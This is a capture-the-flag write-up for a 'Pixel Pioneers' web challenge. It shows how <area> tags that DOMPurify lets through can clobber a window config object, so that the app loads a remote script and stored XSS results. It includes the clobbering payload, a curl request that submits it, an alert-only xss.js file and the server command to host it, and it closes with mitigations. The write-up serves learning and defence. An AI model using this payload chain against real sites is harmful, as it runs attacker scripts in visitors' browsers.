This challenge involved a retro arcade-style app (“Pixel Pioneers”) where users could update display names and leave testimonials. The testimonials were sanitized with DOMPurify. Application JavaScript also loaded analytics via a script gadget controlled by a config object on window. By leveraging DOM clobbering with allowed tags, it’s possible to turn a feature into a stored XSS.
| Challenge | Stored XSS via DOM Clobbering + Unsafe Script Gadget |
|---|---|
| Sanitizer | DOMPurify 3.0.9 |
| Impact | High (one-click stored XSS, any testimonials visitor hit) |
| Vulnerable Tags | <area id name href> (allowed by DOMPurify) |
| Vulnerability | Application trusts window.PixelAnalyticsConfig from DOM |
<area id name href> are allowed.window.PixelAnalyticsConfig.enabled and loads any .scriptUrl, unsafely trusting whatever object is there.enabled and scriptUrl properties.Browsers expose any element with an id as a property on window. If multiple elements share the same id, the property becomes an HTMLCollection where collection[name] gives the element with that name.
Both <a> and <area> tags are allowed by DOMPurify with id, name, and href.
Key point: HTMLAreaElement’s toString() returns its href.
Example clobbering payload (now as <area> tags):
<area id="PixelAnalyticsConfig" name="scriptUrl" href="http://127.0.0.1:8000/xss.js"></area>
<area id="PixelAnalyticsConfig" name="enabled"></area>
After this is in the DOM, you get:
window.PixelAnalyticsConfig // HTMLCollection(2) of <area> tags
window.PixelAnalyticsConfig.enabled // <area name="enabled">, which is truthy
window.PixelAnalyticsConfig.scriptUrl // <area name="scriptUrl">
window.PixelAnalyticsConfig.scriptUrl.toString() // "http://127.0.0.1:8000/xss.js"
Relevant application code (simplified):
let config = window.PixelAnalyticsConfig ||
{ enabled: false, scriptUrl: '/js/mock-tracker.js' };
if (config.enabled) {
let s = document.createElement('script');
s.src = config.scriptUrl;
document.body.appendChild(s);
}
config.enabled is truthy and config.scriptUrl is present, then whatever string .scriptUrl returns is loaded as a remote script.Submit this payload as your testimonial (using UI or API):
<area id="PixelAnalyticsConfig" name="scriptUrl" href="http://127.0.0.1:8000/xss.js"></area>
<area id="PixelAnalyticsConfig" name="enabled"></area>
Example API request (with session cookie):
curl -X POST https://challenge-0526.intigriti.io/api/testimonials \
-H "Content-Type: application/json" \
-H "Cookie: session=<your-session>" \
-d '{"content":"<area id=\"PixelAnalyticsConfig\" name=\"scriptUrl\" href=\"http://127.0.0.1:8000/xss.js\"></area><area id=\"PixelAnalyticsConfig\" name=\"enabled\"></area>"}'
Host your XSS payload file locally as xss.js in the same directory as your Python server:
// xss.js
alert(document.domain);
Start the server:
python3 -m http.server 8000
Make sure the IP is reachable.
Visit the testimonials page (or send a victim):
https://challenge-0526.intigriti.io/challenge#testimonials
This triggers the script load and fires your payload.
<area> tag with id, name, href—your controlled data is in the DOM and exposed on the window object as a collection.window.PixelAnalyticsConfig, it gets a collection, with enabled (truthy element) and scriptUrl (element whose .toString() gives your href).{ FORBID_ATTR: ['id','name'] } to block these attributes on DOM nodes.PixelAnalyticsConfig.constructor is Object (not HTMLCollection) before using.script-src 'self') so untrusted origins can’t be loaded.This chain exploits legacy DOM features and an unsafe script gadget to bypass otherwise effective sanitization. Allowlisting too many HTML attributes or assuming window globals are safe can lead to this kind of remote code execution via stored XSS.
Write-up by sh3d0w